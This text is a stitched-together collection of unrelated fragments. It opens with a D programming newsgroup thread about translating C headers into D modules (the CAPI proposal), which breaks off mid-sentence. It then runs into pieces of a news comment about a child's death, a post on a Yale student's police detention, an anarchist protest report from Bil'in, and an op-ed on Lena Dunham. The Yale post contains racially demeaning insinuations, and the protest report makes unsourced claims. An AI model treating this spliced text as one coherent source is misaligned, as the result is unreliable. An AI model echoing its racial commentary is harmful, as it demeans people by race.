writes Walter Bright On 10/16/2011 10:24 PM, Gor Gyolchanyan wrote: I think there might be a few tricks to improve the C API without adding any new code. For example, replace by-pointer parameter declarations with _out_ parameters when applicable (the underlying function signature is the same), replace const parameters with in parameters, etc. This won't change the C API a single bit (won't even add new code), but will vastly improve readability and sometimes safety of the API. In other cases, some minor additions could be made, for example: libjpeg provides API to register error handlers, instead of setting errno and such. Those kind of situations could be used to throw exceptions. It only takes a static this() and a few lines of code. In case those kind of modifications/additions are made, there could be a standard way to disable them and use the original version. If you want to add a layer on top of the C API, that would be fine. std.zlib is an example of that. But the idea of CAPI is NOT to add a layer. Not fix, extend, refactor, improve, etc. Just the thinnest possible direct calls to the C API. Any improvements, fixes, whatever, should be a separate project. I know the urge to do these fixes can be overpowering, but they end badly every time. It's like trying to mix the language's lexer up with the semantic analysis :-) They really are better off being separate and distinct. For one thing, it makes the inevitable maintenance *FAR* easier, as those C APIs will change. Updating the corresponding D module becomes simple then - just a line by line comparison and tweaking. There would be no tearing of hair and rending of garments. For another it means you'll have to regenerate the C documentation, but with all the changes you made. Then, as the C guys improve their documentation, your layer falls behind, gets neglected, and finally sucks in comparison.
travert phare.normalesup.org (Christophe Travert) travert phare.normalesup.org (Christophe Travert) writes Walter Bright, dans le message (digitalmars.D:146786), a �crit�: If you want to add a layer on top of the C API, that would be fine. std.zlib is an example of that. But the idea of CAPI is NOT to add a layer. Not fix, extend, refactor, improve, etc. I definitely agree with that, no attempt should be made to fix anything. However, if you want only direct translation, the only way I see is to treat all defines as mixins. That mean all macro will become very tedious to use. Even there, there are choices to make (how do you translate multi-parameter macros?). So I think a minimum of adaptation should be provided. Here is an example of how this could be made: #define square(x) ((x)*(x)) => // direct translation mixin template!(string x)square { enum square = '((' ~ x ~ ')*(' ~ x ~ '))'; } // adapted version T square(T)(T x) { return x*x; } Which version should be added? Both do not do the same thing! As you know, In the first one, if x is a function call, it is called twice, and it the other one, it is called only once. So if I follow the rule: no fix, no extend, etc, I must include only the direct translation. But the CAPI library will not be as usable as the c one. Then I miss the purpose of CAPI: make d as usable as c when using c libraries. So which version should be added: I think it is both: // direct translation mixin template!(string x)M_square { enum M_square = '((' ~ x ~ ')*(' ~ x ~ '))'; } // adapted version T square(T)(T x) { return mixin M_square!q{x}; } So this is what I propose: Direct translation have to be provided. Adapted version can be provided alongside the direct translation of the d header. Adaptaded version must be a direct forward call to the direct version (note here that the adapted. Rules will have to be defined to avoid name clashes (for example, here, I used a the direct name for the usable version, and M_ prefix for the mixin version, but we could decide other rules). Macros are a big issue. And I think abvious translating, such as const char* to string, or pointer-length pairs to dynamic arrays is about the same problem. double array_sum(double* a, size_t length); => double array_sum(double* a, size_t length); // AND double array_sum(double[] a) { return array_sum(a.ptr, a.length); } That is very little work. The direct translation is mandatory, and the adapted translation is not. But when the translation is obvious, there is no reason for everyone to make it on it's corner. Make it in the public header and share it! I order to remain consistent, adaptation will have to obey to very precise rules, that have to be set. No fix, no extend, no refactor, no improve, etc. Just a forward call, to have, in addition to the C API, an API that use D's power: using enums, inline functions, for defines instead of the direct mixin translation. Using D's arrays instead of C arrays, etc. could be nice too. What translation should be provided? What rules to translate defines? Is translation of pointer+length pair to array worth doing? What about stringz and strings? Where to draw the line? -- Christophe
writes "Vladimir Panteleev" On Mon, 17 Oct 2011 08:24:26 +0300, Gor Gyolchanyan <gor.f.gyolchanyan gmail.com> wrote: For example, replace by-pointer parameter declarations with _out_ parameters when applicable (the underlying function signature is the same) Note that this would make it nearly impossible to pass null pointers. A human would need to decide if a null pointer can be specified, or the converter would need to be aware of proprietary extensions which specify such things (e.g. Microsoft's __in). -- Best regards, Vladimir mailto:vladimir thecybershadow.net
Walter Bright <newshound2 digitalmars.com> Walter Bright writes On 10/16/2011 11:21 PM, Vladimir Panteleev wrote: On Mon, 17 Oct 2011 08:24:26 +0300, Gor Gyolchanyan <gor.f.gyolchanyan gmail.com> wrote: For example, replace by-pointer parameter declarations with _out_ parameters when applicable (the underlying function signature is the same) Note that this would make it nearly impossible to pass null pointers. A human would need to decide if a null pointer can be specified, or the converter would need to be aware of proprietary extensions which specify such things (e.g. Microsoft's __in). Right. You could also annotate C API functions with pure, safe, etc., but you'd have to be very careful that those functions actually were that way, and would not violate those attributes in the future.
Gor Gyolchanyan <gor.f.gyolchanyan gmail.com> Gor Gyolchanyan writes OR Maybe parallel to the CAPI, there could be the D-ified version of it, that will be developed after the original CAPI. This is, of course, not as urgent a the CAPI itself, but it would be very useful to gradually help users get rid of unnecessarily dangerous code. On Mon, Oct 17, 2011 at 9:24 AM, Gor Gyolchanyan <gor.f.gyolchanyan gmail.com> wrote: I think there might be a few tricks to improve the C API without adding any new code. For example, replace by-pointer parameter declarations with _out_ parameters when applicable (the underlying function signature is the same), replace const parameters with in parameters, etc. This won't change the C API a single bit (won't even add new code), but will vastly improve readability and sometimes safety of the API. In other cases, some minor additions could be made, for example: libjpeg provides API to register error handlers, instead of setting errno and such. Those kind of situations could be used to throw exceptions. It only takes a static this() and a few lines of code. In case those kind of modifications/additions are made, there could be a standard way to disable them and use the original version. On Mon, Oct 17, 2011 at 6:02 AM, Walter Bright <newshound2 digitalmars.com> wrote: Brad and I were talking about some D code that needed openssl support, w= hen we ran into the same old problem: No D files corresponding to the openssl C.h files. It's not that these are a big problem to create, it's just that they are= not done, and it tends to turn off people from using D. D is binary API compatible with C, but only with a corresponding D import file. This, ou= t of the box, makes D *harder* to use than C. Lots of people roll their own, but that work is hard to find and haphaza= rd. This problem keeps coming up again and again. So I propose creating, on github.com/D-Programming-Language, a new repository called CAPI. The CAPI Manifesto ------------------ CAPI is a collection of C header files to publicly available C libraries and their translations to D. The idea is that if, in C, to interface to = a library one would write: =A0 #include "foo.h" then the corresponding D code would look like: =A0 import foo; Each C.h file would have a corresponding.d file. Each C directory woul= d have a corresponding D directory, for example: =A0 #include "bar/foo.h" =A0 // C =A0 import bar.foo; // D The top level directory of each library will have two subdirectories: =A0 C/ =A0 D/ and there will be a one-to-one correspondence of files and directory structure between them. The D import files will be a rote translation of the corresponding C.h file. No attempt will be made to fix, improve, or extend the C api. No attempt will be made to duplicate the C documentation, or replace it in any way. Ther= e will be no unittests. Every effort will be made to avoid needing any D specific binary files. When an updated version of the C header files becomes available, those w= ill get checked into the C subdirectory tree, and then the corresponding D f= iles will get updated. Version tags used must match the version tags used by the C API files. The license used for the D versions should match the C ones, as they are= a derived work.
writes Jacob Carlborg On 2011-10-17 04:02, Walter Bright wrote: Brad and I were talking about some D code that needed openssl support, when we ran into the same old problem: No D files corresponding to the openssl C.h files. It's not that these are a big problem to create, it's just that they are not done, and it tends to turn off people from using D. D is binary API compatible with C, but only with a corresponding D import file. This, out of the box, makes D *harder* to use than C. I'm working on a Clang based tool for automatically converting C header files to D modules. -- /Jacob Carlborg
writes Steve Teale I'm working on a Clang based tool for automatically converting C header files to D modules. Great! Does it work yet?
Jacob Carlborg <doob me.com> Jacob Carlborg writes On 2011-10-17 13:27, Steve Teale wrote: I'm working on a Clang based tool for automatically converting C header files to D modules. Great! Does it work yet? Well, yes. Some parts of it. I have mostly focused on converting Objective-C headers. I have also started to rewrite the tool to use libclang instead of embed it straight into clang. https://github.com/jacob-carlborg/clang https://github.com/jacob-carlborg/dstep -- /Jacob Carlborg
writes Sean Kelly On Oct 16, 2011, at 7:02 PM, Walter Bright wrote: =20 The CAPI Manifesto ------------------ =20 CAPI is a collection of C header files to publicly available C = libraries and their translations to D. The idea is that if, in C, to interface = to a library one would write: =20 #include "foo.h" =20 then the corresponding D code would look like: =20 import foo; If the C header file has a name that is a D keyword, an underscore will = be appended to the D module name. If a C type name matches a C function = name (stat), the type name will have a "_t" appended. There's also the occasional issue of something that doesn't translate = into D. As one slightly weird example, some of the the Posix routines = in OSX have alternates with odd suffixes like "$2003" that are the = versions which should be called on newer versions of the OS. I'm still = not sure of the best way to handle this, since D doesn't have macros.
writes Michel Fortin On 2011-10-17 10:21:45 +0000, Sean Kelly <sean invisibleduck.org> said: On Oct 16, 2011, at 7:02 PM, Walter Bright wrote: The CAPI Manifesto ------------------ CAPI is a collection of C header files to publicly available C libraries and their translations to D. The idea is that if, in C, to interface to a library one would write: #include "foo.h" then the corresponding D code would look like: import foo; If the C header file has a name that is a D keyword, an underscore will be appended to the D module name. If a C type name matches a C function name (stat), the type name will have a "_t" appended. Hum, but _t in C stands for typedef. Wouldn't it be better to just append an underscore like for module names, that'd make only one rule to remember. There's also the occasional issue of something that doesn't translate into D. As one slightly weird example, some of the the Posix routines in OSX have alternates with odd suffixes like "$2003" that are the versions which should be called on newer versions of the OS. I'm still not sure of the best way to handle this, since D doesn't have macros. I think what D needs to handle that is some pragma to manually specify the mangled name of a given function. Why would you need macros? -- Michel Fortin michel.fortin michelf.com http://michelf.com/
writes Jacob Carlborg On 2011-10-17 14:01, Michel Fortin wrote: On 2011-10-17 10:21:45 +0000, Sean Kelly <sean invisibleduck.org> said: On Oct 16, 2011, at 7:02 PM, Walter Bright wrote: The CAPI Manifesto ------------------ CAPI is a collection of C header files to publicly available C libraries and their translations to D. The idea is that if, in C, to interface to a library one would write: #include "foo.h" then the corresponding D code would look like: import foo; If the C header file has a name that is a D keyword, an underscore will be appended to the D module name. If a C type name matches a C function name (stat), the type name will have a "_t" appended. Hum, but _t in C stands for typedef. Wouldn't it be better to just append an underscore like for module names, that'd make only one rule to remember. There's also the occasional issue of something that doesn't translate into D. As one slightly weird example, some of the the Posix routines in OSX have alternates with odd suffixes like "$2003" that are the versions which should be called on newer versions of the OS. I'm still not sure of the best way to handle this, since D doesn't have macros. I think what D needs to handle that is some pragma to manually specify the mangled name of a given function. Why would you need macros? Perhaps the macro is used to determine if "foo" or "foo$2003" is supposed to be called, based on some condition. -- /Jacob Carlborg
writes Michel Fortin On 2011-10-17 13:41:14 +0000, Jacob Carlborg <doob me.com> said: On 2011-10-17 14:01, Michel Fortin wrote: On 2011-10-17 10:21:45 +0000, Sean Kelly <sean invisibleduck.org> said: There's also the occasional issue of something that doesn't translate into D. As one slightly weird example, some of the the Posix routines in OSX have alternates with odd suffixes like "$2003" that are the versions which should be called on newer versions of the OS. I'm still not sure of the best way to handle this, since D doesn't have macros. I think what D needs to handle that is some pragma to manually specify the mangled name of a given function. Why would you need macros? Perhaps the macro is used to determine if "foo" or "foo$2003" is supposed to be called, based on some condition. Indeed. The condition is which OS release you're targeting. That can be accomplished today through static ifs. Although it'd be a little more verbose since you'd have to repeat the function prototype. If we had a way to do conditional attributes in D it'd be awesome for this use case. It could work this way for instance: static if (MAC_OS_X_VERSION_MIN_REQUIRED == 10.5) deprecated_in_os_x_10_5 = deprecated; else deprecated_in_os_x_10_5 = /* nothing */; deprecated_in_os_x_10_5 void some_function_deprecated_in_os_x_10_5(); Or this way for the special mangled names: static if (MAC_OS_X_VERSION_MIN_REQUIRED == 10.5) darwin_alias(name) = pragma(symbol_name, name ~ "$UNIX2003"); else darwin_alias(name) = pragma(symbol_name, name); darwin_alias("fwrite") size_t fwrite(const void * /*__restrict*/, size_t, size_t, FILE * /*__restrict*/); Internally, when the compiler sees darwin_alias("fwrite") it just replaces it with the attributes darwin_alias was supposed to be. Note that I'm *not* proposing a macro system: this would work at the semantic level as a special kind of attribute. -- Michel Fortin michel.fortin michelf.com http://michelf.com/
Andrej Mitrovic <andrej.mitrovich gmail.com> Andrej Mitrovic writes Well then my vote goes for "let's do it". Simple bindings can be started right away, probably by copying from dsource bindings and doing any modifications necessary. For non-trivial C headers we can discuss them here methinks.
"Daniel Murphy" <yebblies nospamgmail.com> "Daniel Murphy" writes "Michel Fortin" <michel.fortin michelf.com> wrote in message news:j7h5gp$2d7n$1 digitalmars.com... I think what D needs to handle that is some pragma to manually specify the mangled name of a given function. Why would you need macros? I've got a patch to do this, in the pragma_mangle branch of my fork. One day I'll get around to fixing it up and making a pull request.
writes Daniel Gibson Am 17.10.2011 12:21, schrieb Sean Kelly: On Oct 16, 2011, at 7:02 PM, Walter Bright wrote: The CAPI Manifesto ------------------ CAPI is a collection of C header files to publicly available C libraries and their translations to D. The idea is that if, in C, to interface to a library one would write: #include "foo.h" then the corresponding D code would look like: import foo; If the C header file has a name that is a D keyword, an underscore will be appended to the D module name. If a C type name matches a C function name (stat), the type name will have a "_t" appended. There's also the occasional issue of something that doesn't translate into D. As one slightly weird example, some of the the Posix routines in OSX have alternates with odd suffixes like "$2003" that are the versions which should be called on newer versions of the OS. I'm still not sure of the best way to handle this, since D doesn't have macros. What about function-like macros, e.g. the Linux/POSIX cmsg stuff (CMSG_FIRSTHDR(), CMSG_NXTHDR(), CMSG_LEN() etc) needed to use functions like recvmsg() and sendmsg()? Will there be a direct D translation of the functionality or will they be omitted completely? Cheers, - Daniel
writes Walter Bright On 10/17/2011 1:24 PM, Daniel Gibson wrote: What about function-like macros, e.g. the Linux/POSIX cmsg stuff (CMSG_FIRSTHDR(), CMSG_NXTHDR(), CMSG_LEN() etc) needed to use functions like recvmsg() and sendmsg()? Will there be a direct D translation of the functionality or will they be omitted completely? Consider: #define FOO(x) bar((x) + 1) Do this: int FOO()(int x) { return bar(x) + 1; } Note that it's a function template with no template parameters. This will enable it to be "header only" and not require linking to some library to resolve FOO().
writes Peter Alexander On 17/10/11 10:33 PM, Walter Bright wrote: On 10/17/2011 1:24 PM, Daniel Gibson wrote: What about function-like macros, e.g. the Linux/POSIX cmsg stuff (CMSG_FIRSTHDR(), CMSG_NXTHDR(), CMSG_LEN() etc) needed to use functions like recvmsg() and sendmsg()? Will there be a direct D translation of the functionality or will they be omitted completely? Consider: #define FOO(x) bar((x) + 1) Do this: int FOO()(int x) { return bar(x) + 1; } Note that it's a function template with no template parameters. This will enable it to be "header only" and not require linking to some library to resolve FOO(). int FOO()(int x) { return bar(x + 1); } would probably work better :-) +1 for CAPI btw.
Walter Bright <newshound2 digitalmars.com> Walter Bright writes On 10/17/2011 4:04 PM, Peter Alexander wrote: int FOO()(int x) { return bar(x + 1); } would probably work better :-) :-)
writes so With D being binary compatible with C, i don't know why we worry on such things. Wasn't being able to access C libraries the point? If it wasn't, what is the worthwhile point for this constraint? Wouldn't (sorry for the poor horse) separate compilers solve the most problems (if not all) we face on these issues? C never changes and every compiler vendor have an implementation. -- import anyapi; // anyapi would be a D module or a C header (anyapi.h...) in directory paths. -- Structs are pod in both languages. Matching of the standard types is something we can take care of with documentation (RTFM) and with compiler errors generated (when we call functions from the other language). Sorry once again if this should sound stupid or impossible to implement (if so, someone please enlighten me), it probably is because everytime we open this discussion i feel i am the only one seeing the big picture, the potential of D. On Mon, 17 Oct 2011 05:02:52 +0300, Walter Bright <newshound2 digitalmars.com> wrote: Brad and I were talking about some D code that needed openssl support, when we ran into the same old problem: No D files corresponding to the openssl C.h files. It's not that these are a big problem to create, it's just that they are not done, and it tends to turn off people from using D. D is binary API compatible with C, but only with a corresponding D import file. This, out of the box, makes D *harder* to use than C. Lots of people roll their own, but that work is hard to find and haphazard. This problem keeps coming up again and again. So I propose creating, on github.com/D-Programming-Language, a new repository called CAPI. The CAPI Manifesto ------------------ CAPI is a collection of C header files to publicly available C libraries and their translations to D. The idea is that if, in C, to interface to a library one would write: #include "foo.h" then the corresponding D code would look like: import foo; Each C.h file would have a corresponding.d file. Each C directory would have a corresponding D directory, for example: #include "bar/foo.h" // C import bar.foo; // D The top level directory of each library will have two subdirectories: C/ D/ and there will be a one-to-one correspondence of files and directory structure between them. The D import files will be a rote translation of the corresponding C.h file. No attempt will be made to fix, improve, or extend the C api. No attempt will be made to duplicate the C documentation, or replace it in any way. There will be no unittests. Every effort will be made to avoid needing any D specific binary files. When an updated version of the C header files becomes available, those will get checked into the C subdirectory tree, and then the corresponding D files will get updated. Version tags used must match the version tags used by the C API files. The license used for the D versions should match the C ones, as they are a derived work.
writes "Jonathan M Davis" On Monday, October 17, 2011 17:09 so wrote: With D being binary compatible with C, i don't know why we worry on such things. Wasn't being able to access C libraries the point? If it wasn't, what is the worthwhile point for this constraint? Wouldn't (sorry for the poor horse) separate compilers solve the most problems (if not all) we face on these issues? C never changes and every compiler vendor have an implementation. -- import anyapi; // anyapi would be a D module or a C header (anyapi.h...) in directory paths. -- Structs are pod in both languages. Matching of the standard types is something we can take care of with documentation (RTFM) and with compiler errors generated (when we call functions from the other language). Sorry once again if this should sound stupid or impossible to implement (if so, someone please enlighten me), it probably is because everytime we open this discussion i feel i am the only one seeing the big picture, the potential of D. The problem is that for C code to be usable in D code, the C declarations must be redone in D, since D can't just include header files. Translating C header files to D is a pain and time consuming, and it would benefit us all to have a place to go to find common C headers translated to D so that such work doesn't have to be duplicated. Hence CAPI has been proposed. And if we're going to have it, it also benefits us to be organized about how we lay it out. Programmers can name modules in their code whatever they want, but being organized about how modules are named and laid out in a large project such as this makes it much easier to maintain and find what you want in it. - Jonathan M Davis
writes so On Tue, 18 Oct 2011 03:32:17 +0300, Jonathan M Davis <jmdavisProg gmx.com> wrote: The problem is that for C code to be usable in D code, the C declarations must be redone in D, since D can't just include header files. I don't understand why. Translating C header files to D is a pain and time consuming, and it would benefit us all to have a place to go to find common C headers translated to D so that such work doesn't have to be duplicated. With the second compiler, there won't be any need for us to do anything, like C++ we could use C libraries seamlessly.
"Nick Sabalausky" writes "so" <so so.so> wrote in message news:op.v3ivsvb8mpw3zg localhost.localdomain... On Tue, 18 Oct 2011 03:32:17 +0300, Jonathan M Davis <jmdavisProg gmx.com> wrote: Translating C header files to D is a pain and time consuming, and it would benefit us all to have a place to go to find common C headers translated to D so that such work doesn't have to be duplicated. With the second compiler, there won't be any need for us to do anything, like C++ we could use C libraries seamlessly. The only reason C++ is able to do that is because C++ (realistically, even if not *technically*) is a proper superset of C. D isn't.
writes so On Thu, 20 Oct 2011 00:26:58 +0300, Nick Sabalausky <a a.a> wrote: "so" <so so.so> wrote in message news:op.v3ivsvb8mpw3zg localhost.localdomain... On Tue, 18 Oct 2011 03:32:17 +0300, Jonathan M Davis <jmdavisProg gmx.com> wrote: Translating C header files to D is a pain and time consuming, and it would benefit us all to have a place to go to find common C headers translated to D so that such work doesn't have to be duplicated. With the second compiler, there won't be any need for us to do anything, like C++ we could use C libraries seamlessly. The only reason C++ is able to do that is because C++ (realistically, even if not *technically*) is a proper superset of C. D isn't. Right, but more importantly it is ABI compatible which is what D also has, this opens some doors. For most C libraries if you exclude macros, you just fill structs, and call functions.
writes Gor Gyolchanyan That's ALL you can do in C. fill structs and call functions (fundamental type manipulation doesn't count). My personal research shows the following use cases of C macros (sorted by popularity in descending order): 1. enum 2. alias (most notably, conditionally compiled ones) 3. CTFE function 4. mixin template 5. syntactic alias 6. syntactic mixin template only the last 2 out of 6 cannot be translated to D. An example of a syntactic alias is this very common piece of C code: #ifdef __VERY_VERY_OLD_C_COMPILER__ #define CONST #else #define CONST const #endif An example of a syntactic mixin template is this piece of code, which i never actually saw anywhere (possible only in C99 and C++): #define N_TIMES(n) for(int i = 0; i!= n; ++i) The last use case is very rare. The only legitimate example i ever saw is in libjpeg, where a macro is used to define function pointers of API functions. The use case before that is mostly used for portability reasons, which is not necessary in D. Some non-standard extension encapsulating macros are almost always used in C libraries, which can be removed altogether. The translation can go on regarding the above use cases and the last two cases can be evaluated in-line, commented out and warned about for manual translation. On Fri, Oct 21, 2011 at 11:48 AM, so <so so.so> wrote: On Thu, 20 Oct 2011 00:26:58 +0300, Nick Sabalausky <a a.a> wrote: "so" <so so.so> wrote in message news:op.v3ivsvb8mpw3zg localhost.localdomain... On Tue, 18 Oct 2011 03:32:17 +0300, Jonathan M Davis <jmdavisProg gmx.com> wrote: Translating C header files to D is a pain and time consuming, and it would benefit us all to have a place to go to find common C headers translated to D so that such work doesn't have to be duplicated. With the second compiler, there won't be any need for us to do anything, like C++ we could use C libraries seamlessly. The only reason C++ is able to do that is because C++ (realistically, even if not *technically*) is a proper superset of C. D isn't. Right, but more importantly it is ABI compatible which is what D also has, this opens some doors. For most C libraries if you exclude macros, you just fill structs, and call functions.
writes so Indeed, macros is a language in itself. Then again it all boils down to type manipulation and function calls. Not sure if it is doable but a special operator like "__cmacro" might be an answer. #define FUN(a, b).... #define DATA.... could be accessed like: __cmacro(FUN, a, b); __cmacro(DATA); I am pushing this because the outcome well worths all these ugly hacks. On Fri, 21 Oct 2011 11:32:32 +0300, Gor Gyolchanyan <gor.f.gyolchanyan gmail.com> wrote: That's ALL you can do in C. fill structs and call functions (fundamental type manipulation doesn't count). My personal research shows the following use cases of C macros (sorted by popularity in descending order): 1. enum 2. alias (most notably, conditionally compiled ones) 3. CTFE function 4. mixin template 5. syntactic alias 6. syntactic mixin template only the last 2 out of 6 cannot be translated to D. An example of a syntactic alias is this very common piece of C code: #ifdef __VERY_VERY_OLD_C_COMPILER__ #define CONST #else #define CONST const #endif An example of a syntactic mixin template is this piece of code, which i never actually saw anywhere (possible only in C99 and C++): #define N_TIMES(n) for(int i = 0; i!= n; ++i) The last use case is very rare. The only legitimate example i ever saw is in libjpeg, where a macro is used to define function pointers of API functions. The use case before that is mostly used for portability reasons, which is not necessary in D. Some non-standard extension encapsulating macros are almost always used in C libraries, which can be removed altogether. The translation can go on regarding the above use cases and the last two cases can be evaluated in-line, commented out and warned about for manual translation.
writes Gor Gyolchanyan This will defeat the philosophy of D, which stands for core correctness, simplicity, maintainability and flexibility. A much better solution would be to implement the AST macros, which were discussed in a video-talk a long time ago by Walter and Andrei, for which the macro keyword was reserved. After that, all C macros will be translatable. On Fri, Oct 21, 2011 at 2:17 PM, so <so so.so> wrote: Indeed, macros is a language in itself. Then again it all boils down to type manipulation and function calls. Not sure if it is doable but a special operator like "__cmacro" might be = an answer. #define FUN(a, b).... #define DATA.... could |
you gonna call?
Yeah that’s him.
First, he said it was a result of the Hurricane and it blew the baby down the steps. Later he said she must have fallen from inside the home, later saying he dropped the girl on accident.
Castell said he and the child’s mother were staying at a home because their residence had lost power during the brutal storm which was wreaking havoc on the region.
Who was really there for this baby? Isn’t she just adorable and so precious? Smh
And if you notice, there’s quite a few baby mommas out there. I guess with his career or promising career in sports might have been the reason so many chick’s decided to hook up with him. He was probably a star athelete in school and the girls just loved him.
He had just bought a home, but the address is different from where he killed this baby.Even in the Ivy League, Black Men Are Still Subject to Racial Profiling | TakePart http://t.co/NW8R7d7yR8 — Steven Gray (@StevenGray) January 26, 2015
I first heard of the story above from Washington Post media critic Gene Weingarten on Twitter:
This is a strangely written story. Find the strangeness. http://t.co/WWW5FDucLW — Gene Weingarten (@geneweingarten) January 27, 2015
After some back and forth Tweets, it turned out that what he'd been linking to had been changed by the editors:
@Bobosphere We are talking cross points. Regurgitation is a hilariously wrong word, BUT starting that Suprisingly is bizarre & revealing. — Gene Weingarten (@geneweingarten) January 27, 2015
Here's the original quote:
Surprisingly, Yale’s president, dean and police chief said that they did not think this incident was a regurgitation of what happened to Michael Brown in Ferguson, Mo., or Eric Garner in New York City. They said that because Blow’s son fit the description of the burglary suspect, down to what he was wearing, Blow’s son’s detainment—save for the drawing of the cop’s weapon—was “reasonable.”
Yale on the Detainment of Charles Blow’s Son: This Isn’t Ferguson In an email sent to the campus community, Yale’s leaders expressed empathy for how closely the incident hearkens to the #BlackLivesMatters movement—but maintained that it’s not exactly that. By: Diana Ozemebhoya Eromosele Posted: Jan. 27 2015 8:07 AM
Here's the source, on The, a black site for black readers about black issues:Anyhow, the "Charles Blow’s Son" story is: there was a black burglar at Yale stealing laptops and such. (New Haven has a largish black population, and some black crime.)
Yalies managed to bring themselves to describe the burglar, and the police were looking for him.
Charles Blow's son Tahj is at Yale, either because of sheer merit, or because he's black and his father works for the NYT. (Yale has a small black student population, and some affirmative action.)
So he got stopped by the police because he looked like a specific criminal, and was stopped by the police.
The policeman who stopped him is black himself—New Haven has a largish black population, and some affirmative action.
Charles Blow, the NYT columnist, doesn't mention that in his column complaining about the incident:
Library Visit, Then Held at Gunpoint Charles Blow: At Yale, the Police Detained My Son January 26, 2015
The Yale cop who pulled a gun on an African-American undergraduate and forced him to the ground—because he allegedly matched the description of a burglar who was later caught—is African-American himself. Three Yale officials—President Peter Salovey, Police Chief Ronnell Higgins,[VDARE.com Note: Also black.] and Dean Jonathan Holloway—confirmed that fact in an email message sent to the Yale community Monday night. The trio called for the community to “reflect” on the incident... The Cop Was Black, The New Haven Independent, January 27, 2015
After thwarted theft attempt in Trumbull, YPD arrests intruder By Stephanie Addenbrooke and Joey Ye January 25, 2015
The New York Post story manages to actually report the racial aspects of the incident. The New York Times and Columbia University Spectator are eligible for some kind of prize–they report the story of black professor punching a white woman during a racial argument in a bar on 125th Street…and forget to mention race at all.
So this is a story about young black men, by a black columnist, writing explicitly as a black columnist, about his son having a gun pointed at him, and he can't mention that the gun pointer was black.Then there's the Yale Daily News story, which covers the intruder, the son, the policeman, and the columnist, and doesn't say anyone is black.In a 2009 story which I titled Black Professor Arrested For Punching White Woman In New York Bar (not the kind of headline the MSM gave it) I wrote thatIf there's a prize for this, the Yale Daily News is now the holder.
In summary, a black burglary spree at Yale resulted in a black cop very briefly holding a black student at gunpoint by mistake. Then a black columnist at the NYT complains about this, following the usual NYT style of never saying the gunman is black.
Then the Root writes it up in really bad English, which you might expect from someone named Ozemebhoya Eromosele, but you wouldn't necessarily expect from some one who, like Ms. Ozemebhoya Eromosele, has degrees from Duke and Georgetown.
So my question is—is this a story about embedded structures of racism, or embedded structures of affirmative action?Palestine-Israel, The eleven years joint struggle in Bil'in as a seed for the third youth intifada.*
Bil'in, Ni'ilin, Ma'asara, Nebi Saleh, Qaddum, Shikh Jarrah and the South of Hebron Hills
At the beginning, the joint struggle in Bil'in of the Israeli Anarchists Against The Wall with the local activists differed only with a consisted Fridays direct actions against the construction of the separation fence. The Israeli state response was a prolonged effort to block the participation of the Israeli activists that failed due to geographic conditions, persistence of the Israeli activists, and our ingenuity. One of the restricting factors on the suppression efforts of the state forces was wide spread sympathy for these demos in the Israeli media, and public. In a desperate efforts the army sent covert agents to initiate stone throwing from the demo on the state force. After a long while they succeeded. Youngsters of the village got into the stone throwing habit. For years it was all over the media and contributed to the stone throwing culture of the Palestinian youth. This was a significant contributor factor to the already 4 months old "Children Intifada".
Bil'in
Friday 19-2-16 Hundreds marched from the centre of the village to the gate of the new separation wall -celebrating 11 years of persistent struggle against the separation wall/fence, settlers, and occupation. The Bil'iners activists were joined by many villagers, activists from Ramallah and neighbouring villages. Participated also bout 70 Israelis with the anarchists against the wall initiative - including 7 members of the anarchist-communist Ahdut (Unity), and dozens of international activists (including US anarchists). After the long march - including the usually forbidden road to the new separation wall we neared the gate in the wall. The Israeli state forces try to disperse us, but the northern wind and the courage of many demonstrators defied it.
Part of us retreated out of the range of the tear gas, but many confronted the state forces and stayed near the gate for a long long confrontation.
Gradually, we retreated and returned to the village.
https://www.facebook.com/Mohammed.Yasin.photography/pos...44523
https://www.facebook.com/photo.php?fbid=882320458533954
https://www.facebook.com/hamza.burnat/posts/969309203123134
https://www.facebook.com/haytham.alkhateeb/posts/102075...88587
https://www.youtube.com/watch?feature=player_embedded&v...drp_k
https://www.facebook.com/mekomit/videos/1702366206676945/
https://www.facebook.com/haytham.alkhateeb/videos/10207...6875/
https://www.youtube.com/watch?v=vR4kgMdrp_k
dvidreeb https://youtu.be/wnwCHg4hs5A
israelpn https://www.youtube.com/watch?v=LiGd2onQaCE
https://www.facebook.com/taki.bornat/videos/vb.10000035...28382
https://www.facebook.com/hamde.a.rahma/videos/166443675...6695/
=================================
* From my blog at: http://ilanisagainstwalls.blogspot.com
See at the blog previous reports about the joint struggles the Anarchists Against the Wall take part in.
See also: Stories from the year 2100 - 50 years after the revolution
http://awalls.org http://ilan.shalif.com/anarchy/glimpses/glimpses.html
http://ilan.shalif.com/anarchy/glimpses/glimpses-it.html
http://ilan.shalif.com/anarchy/glimpses/glimpses-heb.html
Ahdut (Unity) Position paper about the Palestinian struggle
English - http://www.anarkismo.net/article/27019
Arabic - http://www.ahewar.org/debat/show.art.asp?aid=430180This seventh season is to be set in the present day, in the aftermath of the last US Presidential election, though it’s not yet been revealed what role the Girls star will play. However, this announcement has caused significant backlash from online communities, once again reminding us how divisive a figure Lena Dunham has proved to be in recent years.She has been particularly controversial in branding herself a proud feminist, yet making comments that greatly undermine what the movement stands for. She received backlash over a comment she made that she wished she’d had an abortion in order to remove her internalised stigma towards it, making light of a deeply emotional decision many women are forced to make. She has repeatedly displayed prejudices and made subtly – and sometimes not so subtly – racist comments, the most infamous of which was her post about Odell Beckham Jr., in which she ascribed to him misogynistic thoughts whilst presenting herself as the oppressed and Beckham Jr. as the one in a position of privilege. Simultaneously, she has also played into repressive stereotypes about black men’s perception and treatment of women, and was oblivious to the “often violent history of the over-sexualisation of black male bodies, as well as false accusations by white women toward black men” - an implication she only acknowledged in a later apology. Those who jump to Dunham’s defence will support her status as a feminist icon because she created and starred in a show led by sexually liberated women; a show in which she herself shows the camera what a ‘real’ woman’s body looks like - an apparently revolutionary act in an industry that pressures women to squeeze themselves into a very strict, and unrealistic, mould of conventional beauty. The issue comes when these progressive acts are used to excuse Dunham’s racist or otherwise problematic remarks and behaviours. It can feel uncomfortably anti-feminist to call out and shame a woman who is attempting to partake in her own liberation, and who with good intentions tries to popularise the branding of ‘feminist’. But Dunham’s statements do not exist in a vacuum, and she again and again perpetuates a toxic system without facing, or often even acknowledging, the consequences. Her apologies are defensive, as she tries to rationalise her actions and undermines the reactions of those who suffer from her statements, essentially forgiving a culture that systematically oppresses minorities by excusing wilful ignorance.Now, call-out culture becomes dangerous when it results in the demonization of individuals who are attempting, whether successfully or not, to rectify the status quo into a freer, more egalitarian society. It is important to monitor one another when the feminism being practiced is exclusionary, but punishment is counteractive to this, for it can create self-imposed censorship when people become too afraid of saying the wrong thing and being ostracised for it, and thus stop saying anything, which halts 